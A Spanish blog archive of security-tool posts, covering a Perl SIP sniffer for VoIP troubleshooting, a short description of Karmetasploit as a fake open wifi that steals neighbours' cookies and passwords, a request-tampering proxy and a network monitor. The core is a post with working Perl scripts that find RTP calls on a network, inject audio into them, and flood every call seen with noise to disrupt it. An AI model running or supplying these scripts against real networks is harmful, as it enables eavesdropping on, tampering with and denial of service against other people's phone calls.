Archivo de la etiqueta: Sniffer

SIP Monitor

Cuando en un entorno de VoIP gestionas muchos usuarios es muy complicado seguir el log que muestra el CLI para ver exactamente dónde hay un error concreto. Muchas veces debes filtrar algún usuario con determinados problemas, por ejemplo de registro, y la verdad es que se hace bastante engorroso realizar un seguimiento de los paquetes. Por otro lado, también resulta un poco coñazo realizar capturas con Tcpdump para luego descargar en otro equipo con entorno gráfico y analizar posteriormente mediante Wireshark.

Para agilizar un poco este proceso he creado un script en Perl muy sencillo que permite aplicar algunos filtros de búsquedas, mostrando por pantalla únicamente aquellos paquetes que necesitemos.

sipmon

El script no es más que un sniffer que monitoriza el tráfico TCP y/o UDP en los puertos que especifiquemos y que nos mostrará los paquetes de señalización SIP que capture. Como se puede ver en la imagen, podemos realizar las capturas que más nos interesen, por ejemplo:

  • Analizar los paquetes con origen o destino hacia una determinada IP.
  • Buscar paquetes con un usuario de registro específico.
  • Monitorizar TCP y/o UDP.
  • Filtrar por método: INVITE, REGISTER, OPTIONS, etc.

Para poderlo usar necesitamos instalar algunas dependencias:

Net::PcapUtils -> http://search.cpan.org/CPAN/authors/id/T/TI/TIMPOTTER/Net-PcapUtils-0.01.tar.gz
Net::Pcap -> http://search.cpan.org/CPAN/authors/id/K/KC/KCARNUT/Net-Pcap-0.05.tar.gz – apt-get install libnet-pcap-perl
Net::SIP -> http://search.cpan.org/CPAN/authors/id/S/SU/SULLR/Net-SIP-0.68.tar.gz – apt-get install libnet-sip-perl
NetPacket::Ethernet -> http://search.cpan.org/CPAN/authors/id/A/AT/ATRAK/NetPacket-0.04.tar.gz
Net::Address::IP::Local -> http://search.cpan.org/CPAN/authors/id/J/JM/JMEHNLE/net-address-ip-local/Net-Address-IP-Local-0.1.2.tar.gz

Y el script:

#!/usr/bin/perl
# Jose Luis Verdeguer AKA Pepelux <verdeguer@zoonsuite.com>
# Twitter: @pepeluxx

use strict;
use Net::PcapUtils;
use Getopt::Long;
use Net::SIP ':all';
use NetPacket::Ethernet;
use NetPacket::IP;
use NetPacket::TCP;
use Net::Address::IP::Local;

# Do no buffering - flushing output directly
$|=1;

# Declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;

# Declaration of global variables
my $g_pcap_err = '';
my $g_cap_descrip;
my ($address, $netmask, $err);
my $ip;
my $ether;
my $tcp;
my $myfilter;
my $myaddress;

# Params
my $dev = '';
my $sudp= 0;
my $stcp = 0;
my $port = '';
my $method = '';
my $user = '';
my $oip = '';
my $h = 0;

# Packet struct
my $len = 38;      # 0x26 -> srcport (2)
my $request = 42;  # 0x2a -> SIP request

sub init() {
	# check params
	my $result = GetOptions ("i=s" => \$dev,
				 "p=s" => \$port,
				 "m=s" => \$method,
				 "udp+" => \$sudp,
				 "tcp+" => \$stcp,
				 "user=s" => \$user,
				 "ip=s" => \$oip,
				 "help+" => \$h,
				 "h+" => \$h);

	help() if ($h eq 1);

	my $login = (getpwuid $>);
	die "must run as root" if $login ne 'root';

	$myaddress = Net::Address::IP::Local->public;

	my $proto = '';
	my $port1 = '';
	my $port2 = '';
	my $addr1 = '';
	my $addr2 = '';

	if ($sudp eq 0 && $stcp eq 0) {
		$sudp = 1;
		$stcp = 1;
		$proto = "(udp || tcp)";
		$port1 = "(dst port 5060 || dst port 5061)" if ($port eq "");
		$port2 = "(src port 5060 || src port 5061)" if ($port eq "");
	}
	else {
		if ($sudp eq 1) {
			$proto = "udp";
			$port1 = "dst port 5060" if ($port eq "");
			$port2 = "src port 5060" if ($port eq "");
		}
		else {
			$proto = "tcp";
			$port1 = "dst port 5061" if ($port eq "");
			$port2 = "src port 5061" if ($port eq "");
		}
	}

	if ($port ne "") {
		$port1 = "dst port $port";
		$port2 = "src port $port";
	}

	if ($oip eq "") {
		$addr1 = "dst $myaddress && $port1";
		$addr2 = "src $myaddress && $port2";
	}
	else {
		$addr1 = "(dst $myaddress && $port1 && src $oip)";
		$addr2 = "(src $myaddress && $port2 && dst $oip)";
	}

	$dev = Net::Pcap::lookupdev(\$err) if ($dev eq "");

	if (Net::Pcap::lookupnet($dev, \$address, \$netmask, \$err)) {
	    die 'Unable to look up device information for ', $dev, ' - ', $err;
	}

	$myfilter = "$proto && (($addr1) || ($addr2))";

	print "Interface: $dev ($myaddress)\n";
	print "Filter: $myfilter\n";

	if ($method eq "") { print "Method: ALL\n"; }
	else { print "Method: " . uc($method) . "\n"; }

        print "\n";

	f_probe_pcapinit;
}

sub f_probe_pcapinit {
	$g_cap_descrip = Net::Pcap::open_live($dev, 1500, 0, 0, \$err);

	unless (defined $g_cap_descrip) {
	    die 'Unable to create packet capture on device ', $dev, ' - ', $err;
        }

        # Create filter.
	my $filter;
	Net::Pcap::compile($g_cap_descrip, \$filter, $myfilter, 0, $netmask) && die 'Unable to compile packet capture filter';
	Net::Pcap::setfilter($g_cap_descrip, $filter) && die 'Unable to set packet capture filter';

	# Initiate endless packet gathering.
	Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
};

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack('H*',$packet);

	$ether = NetPacket::Ethernet::strip($packet);
	$ip = NetPacket::IP->decode($ether);
	$tcp = NetPacket::TCP->decode($ip->{'data'});

	if (len($data) > 12) {
		my $sipdata = siprequest($data);
		log_data($sipdata) if (ascii2hex(substr($sipdata, 0, 1)) ne "00");
	}
};

sub siprequest {
	my $data = shift;
	$data = substr($data, $request*2);

	return hex2ascii($data);
};

sub len {
	my $data = shift;
	$data = substr($data, $len*2, 4);

	return hex($data);
};

sub log_data {
	my $sip_pkt = Net::SIP::Packet->new_from_string(@_);
	my $req = Net::SIP::Packet->new_from_string($sip_pkt->as_string);

	my $from = $sip_pkt->get_header('from');
	{
		my @values = split(';', $from);
		$from = $values[0];
	}

	my $to = $sip_pkt->get_header('to');
	{
		my @values = split(';', $to);
		$to = $values[0];
	}

	if ($method eq "" || $req->method eq uc($method)) {
		if ($user eq '' || $from =~ /$user/i || $to =~ /$user/i) {
			print $ip->{'src_ip'}.':'.$tcp->{'src_port'}.' => '.$ip->{'dest_ip'}.':'.$tcp->{'dest_port'}."\t(".$req->method.") ";
			if($sip_pkt->is_response()) { print "\tResponse: ".$req->code; }
			else { print "\tRequest"; }
			print "\n";
			print $sip_pkt->as_string."\n\n";
		}
	}
}

sub ascii2hex($) {
	(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
	return $str;
};

sub hex2ascii($) {
	(my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
	return $str;
};

sub help {
	print qq {
Usage:  $0 [options]

    == Options ==
      -i <iface>       = interface (default try to get automatically)
      -p <port>        = port (default 5060/udp and 5061/tcp)
      -m <method>      = scan only a method (default show all: REGISTER, INVITE, ...)
      -udp             = scan only UDP (default UDP + TCP)
      -tcp             = scan only TCP (default UDP + TCP)
      -ip <addr>       = filter remote IP (default show all)
      -user <data>     = filter user in 'To' or 'From' (default show all)
      -h, -help        = This help

    == Examples ==
      $0 -udp -ip "80.80.80.0/24" -p 5080
      $0 -i eth0 -user "mysipuser"
      $0 -ip "80.80.80.0/24" -user "mysipuser"

};

	exit 1;
};

init();

Supongamos el caso de que queremos monitorizar el registro de un usuario ‘pruebas’. Podemos hacer lo siguiente:


root@sip:~# perl sipmon.pl -m REGISTER -user "pruebas"
Interface: eth0 (X.X.224.7)
Filter: (udp || tcp) && ((dst X.X.224.7 && (dst port 5060 || dst port 5061)) || (src X.X.224.7 && (src port 5060 || src port 5061)))
Method: REGISTER

X.X.194.138:5080 => X.X.224.7:5060 (REGISTER) Request
REGISTER sip:sip.myserver.com SIP/2.0
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bK85544896f396b9b8
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>
Supported: path
Authorization: Digest username="pruebas204", realm="sip", algorithm=MD5, uri="sip:sip.myserver.com", nonce="31dff2d2", response="a4a80fd271da7fae67b2d7f070d99674"
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47423 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

X.X.224.7:5060 => X.X.194.138:5080 (REGISTER) Response: 401
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bK85544896f396b9b8;received=X.X.194.138;rport=5080
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>;tag=as39c9e1bd
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47423 REGISTER
Server: sip
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="sip", nonce="2f022db4"
Content-Length: 0

X.X.194.138:5080 => X.X.224.7:5060 (REGISTER) Request
REGISTER sip:sip.myserver.com SIP/2.0
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bKa5b835310120bb10
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>
Supported: path
Authorization: Digest username="pruebas204", realm="sip", algorithm=MD5, uri="sip:sip.myserver.com", nonce="2f022db4", response="7cc357c57b0198d9bdbcad0cf2870710"
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47424 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

X.X.224.7:5060 => X.X.194.138:5080 (REGISTER) Response: 200
SIP/2.0 200 OK
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bKa5b835310120bb10;received=X.X.194.138;rport=5080
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>;tag=as39c9e1bd
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47424 REGISTER
Server: sip
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Expires: 120
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>;expires=120
Date: Thu, 04 Apr 2013 20:11:14 GMT
Content-Length: 0

Como podemos ver en el resultado, únicamente nos aparece el tráfico de la señalización SIP correspondiente a ese usuario, algo bastante útil si tenemos cientos de clientes conectados. En este caso:

Cliente -> Servidor (REGISTER)
Servidor -> Cliente (401 Unauthorized)
Cliente -> Servidor (REGISTER)
Servidor -> Cliente (200 OK)

Inyectando tráfico RTP en una conversación VoIP

Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme)  y bueno, esta vez toca hablar sobre VoIP.

No es que sea nada novedoso, y ya son bien conocidos los programas rtpinsertsound y rtpmixsound de Hacking Exposed VoIP (http://www.hackingvoip.com/sec_tools.html) que hacen esto mismo, pero hace no mucho leí un artículo muy interesante sobre inserción de tráfico RTP en http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/. La verdad es que está curioso el post y se aprende bastante acerca del funcionamiento de los paquetes RTP, aunque a la hora de la verdad, la inserción es mucho más sencilla, puesto que no es necesario ir analizando paquetes para obtener el número de secuencia.

Haciendo uso de las RTPtools (http://www.cs.columbia.edu/irt/software/rtptools/) y de un sniffer de remote-exploit.org (http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz) he creado algunos scripts en perl para analizar e inyectar paquetes RTP.

En realidad, el módulo Net::RTP es capaz de obtener el número de secuencia y mandar nuestro audio continuando con esa numeración, sin necesidad de que tengamos que obtenerlo manualmente.

Comencemos …

rtpscan.pl es un script que monitoriza los paquetes que pasan por nuestro interfaz de red, filtrando aquellos que son RTP e indicándonos el codec usado en la conversación. Su utilidad es interceptar conversaciones RTP:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use Getopt::Long;

my @src;
my @dst;

# Do no buffering - flushing output directly
$|=1;
#declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;

# Declarations of global variables
my $g_pcap_err = '';
my $interface='';
my $g_cap_descrip;

# Trapping Signal "INT" like ctrl+c for cleanup first.
$SIG{INT} = \&f_probe_ctrl_c;

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("i=s" => \$interface);

	help() if ($interface eq "");

	f_probe_pcapinit;
}

sub f_probe_pcapinit{
	if ($g_cap_descrip = Net::Pcap::open_live($interface,2000,0,1000,\$g_pcap_err))
	{
		# Initiate endless packet gathering.
		Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
	}
	else
	{
		print "\nCould not initiating the open_live command on $interface from the pcap.\nThe following error where reported: $g_pcap_err\n";
		exit;
	}
};

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) && proto($data) eq "17") {
		my $new = 1;
		my $codec = codec($data);

		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		for (my $i = 0; $i <= $#src; $i++) {
			$new = 0 if (($src[$i] eq $ipsrc.":".$portsrc) && ($dst[$i] eq $ipdst.":".$portdst));
			$new = 0 if (($src[$i] eq $ipdst.":".$portdst) && ($dst[$i] eq $ipsrc.":".$portsrc));
		}

		if ($new eq 1) {
			print "Protocol: UDP\n";
			print "Codec   : GSM\n" if ($codec eq "3");
			print "Codec   : G.711 (u-law)\n" if ($codec eq "0");
			print "Codec   : G.711 (a-law)\n" if ($codec eq "201" || $codec eq "136");
			print "Codec   : Speex\n" if ($codec eq "225");
			print "Codec   : $codec (desconocido)\n" if ($codec ne "0" && $codec ne "3" && $codec ne "201" && $codec ne "136" && $codec ne "225");
			print "IP 1    : $ipsrc:$portsrc\n";
			print "IP 2    : $ipdst:$portdst\n";

			push @src, $ipsrc.":".$portsrc;
			push @dst, $ipdst.":".$portdst;
		}
	}
};

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq "80");
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub f_probe_ctrl_c {
	# Checks if there is a open pcap handle and closes it first.
	if ($g_cap_descrip)
	{
		Net::Pcap::close ($g_cap_descrip);
		print "\nClosed the pcap allready, the program exits now.\n";
	}
};

sub help {
	print qq{
Usage:  $0 -i <interface>

};

	exit 1;
}

init();

rtpsend.pl es una copia de las rtptools e inyecta un archivo WAV en una conversación que use el codec de audio u-law (G.711) y para ello le tenemos que indicar la IP y puerto destino (datos previamente obtenidos con rtpscan.pl):

#!/usr/bin/perl
# rtptools: http://www.cs.columbia.edu/irt/software/rtptools/

use Net::RTP;
use Time::HiRes qw/ usleep /;
use strict;

my $DEFAULT_PORT = 5004;	# Default RTP port
my $DEFAULT_TTL = 2;		# Default Time-to-live
my $PAYLOAD_TYPE = 0;		# u-law
my $PAYLOAD_SIZE = 160;		# 160 samples per packet

# Get the command line parameters
my ($filename, $address, $port, $ttl ) = @ARGV;
usage() unless (defined $filename);
usage() unless (defined $address);
$port=$DEFAULT_PORT unless (defined $port);
$ttl=$DEFAULT_TTL unless (defined $ttl);

print "Input Filename: $filename\n";
print "Remote Address: $address\n";
print "Remote Port: $port\n";
print "Multicast TTL: $ttl\n";
print "Payload type: $PAYLOAD_TYPE\n";
print "Payload size: $PAYLOAD_SIZE bytes\n";

# Create RTP socket
my $rtp = new Net::RTP(
		PeerPort=>$port,
		PeerAddr=>$address,
) || die "Failed to create RTP socket: $!";

# Set the TTL
if ($rtp->superclass() =~ /Multicast/) {
	$rtp->mcast_ttl( $ttl );
}

# Create RTP packet
my $packet = new Net::RTP::Packet();
$packet->payload_type( $PAYLOAD_TYPE );

while(1) {
# Open the input file (via sox)
open(PCMU, "sox '$filename' -t raw -U -b 8 -c 1 -r 8000 - |")
or die "Failed to open input file: $!";

my $data;

while( my $read = read( PCMU, $data, $PAYLOAD_SIZE ) ) {
	# Set payload, and increment sequence number and timestamp
	$packet->payload($data);
	$packet->seq_num_increment();
	$packet->timestamp_increment( $PAYLOAD_SIZE );

	my $sent = $rtp->send( $packet );
	#print "Sent $sent bytes.\n";

	# This isn't a very good way of timing it
	# but it kinda works
	usleep( 1000000 * $PAYLOAD_SIZE / 8000 );
}

close( PCMU );
}

sub usage {
	print "usage: rtpsend.pl <filename> <dest_addr> [<dest_port>] [<ttl>]\n";
	exit -1;
}

Y rtpflood.pl es una mezcla de los dos anteriores. Lo que hace, básicamente, es interceptar paquetes RTP y luego floodearlos con ruido. En pocas palabras, fastidiar todas las conversaciones RTP que pille en la red, independientemente del codec usado:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in rtptools: http://www.cs.columbia.edu/irt/software/rtptools/
# and
# remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use threads;
use threads::shared;
use Net::RTP;
use Time::HiRes qw/ usleep /;
use Getopt::Long;

my @src;
my @dst;
my $PAYLOAD_SIZE = 160;
my $ttl = 2;
my $maxthreads = 300;
my $threads : shared = 0;
my $interface = '';
my $v = 0;
my $g_pcap_err = '';
my $g_cap_descrip;

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("i=s" => \$interface,
	                         "v+" => \$v);

	help() if ($interface eq "");

	if ($g_cap_descrip = Net::Pcap::open_live($interface, 2000, 0, 1000, \$g_pcap_err)) {
		Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
	}
	else {
		print "\nCould not initiating the interface: $interface.\nError: $g_pcap_err.";
		print "\nAre you root?\n";
		exit;
	}
}

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) && proto($data) eq "17") {
		my $codec = codec($data);
		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		if ($threads <= $maxthreads) {
			my $thr = threads->new(\&flood, $ipsrc, $portsrc, $codec);
			$thr->detach();
			$thr = threads->new(\&flood, $ipdst, $portdst, $codec);
			$thr->detach();
		}
	}
};

sub flood {
	my $address = shift;
	my $port = shift;
	my $payload = shift;

	{lock($threads);$threads++;}

	if ($v eq "1") {
		print "Flooding host: $address \tPort: $port/UDP \tCodec: ";
		print "GSM            \n" if ($payload eq "3");
		print "G.711          \n" if ($payload eq "0");
	}

	# Create RTP socket
	my $rtp = new Net::RTP(
			PeerPort=>$port,
			PeerAddr=>$address,
	) || die "Failed to create RTP socket: $!";

	# Set the TTL
	if ($rtp->superclass() =~ /Multicast/) {
		$rtp->mcast_ttl( $ttl );
	}

	# Create RTP packet
	my $packet = new Net::RTP::Packet();
	$packet->payload_type( $payload );

	for (my $i = 0; $i < 100; $i++) {
		my $data;

		for (my $i = 0; $i < $PAYLOAD_SIZE; $i++) {
			my $rnd = rand(255);
			$data .= hex($rnd);
		}

		$packet->payload($data);
		$packet->seq_num_increment();
		$packet->timestamp_increment( $PAYLOAD_SIZE );

		$rtp->send( $packet );

		close( PCMU );
	}

	{lock($threads);$threads--;}
}

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq "80");
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub help {
	print qq{
Usage:  $0 -i <interface> [options]

    == Options ==
      -v               = Verbose mode

    == Examples ==
         \$$0 -i eth0
         \$$0 -i wlan0 -v

};

	exit 1;
}

init();

El curro ha sido poco ya que, como he comentado, uno de los scripts está copiado directamente (lo puse porque creo que es interesante y porque lo uso en el otro) y, los otros dos scripts simplemente están adaptados para nuestro propósito.

Saludos

Karmetasploit

El otro día vi en el foro de elhacker.net un post que hablaba sobre karmetasploit y me puse a indagar un poco a ver como iba esto (que lo suyo me costó jeje todo hay que decirlo. En el portátil no hubo forma pero en el PC funcionó a la primera).

Karmetasploit es un plugin de metasploit que usándolo junto con aircrack-ng te permite ir de pesca por el vecindario, o lo que es lo mismo, te permite crear una wifi falsa y totalmente abierta para incitar a los vecinos listillos que quieran conectarse gratis a Internet. Tras conectarse, en el peor de los casos les roba las cookies y si intentan acceder al correo, también las contraseñas de POP. Y en el mejor de los casos, si su sistema operativo tiene algún bug trata de explotárselo llegándote a dar una shell si es posible.

La información original de karmetasploit la puedes ver aquí: http://www.offensive-security.com/metasploit-unleashed/Karmetasploit

Seguir leyendo Karmetasploit

Squipy está a punto de parir

Aprovechando que es fin de año y todo el mundo hace promesas, yo me he propuesto escribir más a menudo en el blog. Se que no lo lee ni dios, salvo la gente que llega directamente al POST del TPlus a preguntar una y otra vez lo mismo (esto es un infierno!!!!) pero escribiré para leerme yo mismo 🙂

Bueno, estas Navidades, además de inflarme a turrón de chocolate, he estado programando una pequeña aplicación a la que llamé Squipy. Se trata de un proxy, no para navegar a través de él con varios equipos, sino para analziar el comportamento de algunas páginas y modificar los datos que se mandan.

Algo similar a lo que hace Tamper Data o Paros o muchos otros pero personalizado a mi gusto … si es que soy algo maniático con las cosas, lo se!

El Tamper Data está muy bien para hacer un cambio o dos pero cuando son muchos te vuelves loco ya que hay que modificar cada paquete.

El Paros está también muy bien pero no me permite poner cambios generales y hay que modificar también cada paquete muchas veces.

La idea de hacer este programa surgio por varias deficiencias que vi en el Paros y que, a pesar de que otros programas si que lo tenían, eran algo complicados para lo que realmente necesito. Yo principalmente lo eché en falta en algunos detalles:

  • La opción de poder modificar el User-Agent de forma indefinida para entrar en la web móvil de Tuenti y subir fotos (ya que tiene un filtro por User-Agent)
  • La opción de convertir de forma automática las peticiones POST a GET o a la inversa, para probar inyecciones SQL por POST realizando los envíos cómodamente mediante GET
  • Poder modificar tanto los datos que se mandan al servidor como los que se reciben hacia el navegador
  • No tener que contar los bytes que envío en un POST tras una modificación, para ajustar el tamaño del paquete
  • No tener un bombardeo de peticiones para filtrar cuando activo el análisis (como ocurre con el Tamper Data) y poder analizar sólo una determinada URL o dentro de una URL sólo ciertos ficheros …

Squipy

Puedes descargar el manual que espero ir ampliándolo si incluyo nuevas funcionalidades. Es muy breve pero trae varias capturas en las que explica cada opción del programa.

En cuanto termine de testearla la subiré a la web. Si alguien tiene alguna sugerencia que me lo diga.

EnyeMon v1.0 para Windows

EnyeMon es un monitor de red que estoy terminando de programar. Funciona bajo Windows (de momento testeado en XP y Vista) y permite trabajar con y sin WinPCap. Según las pruebas:

Con XP: Funcionan los dos modos (supongo que con 2000 también)
Con Vista: Sin WinPCap sólo captura lo que se recibe pero no lo que se envía y con WinPCap captura todo.

Seguir leyendo EnyeMon v1.0 para Windows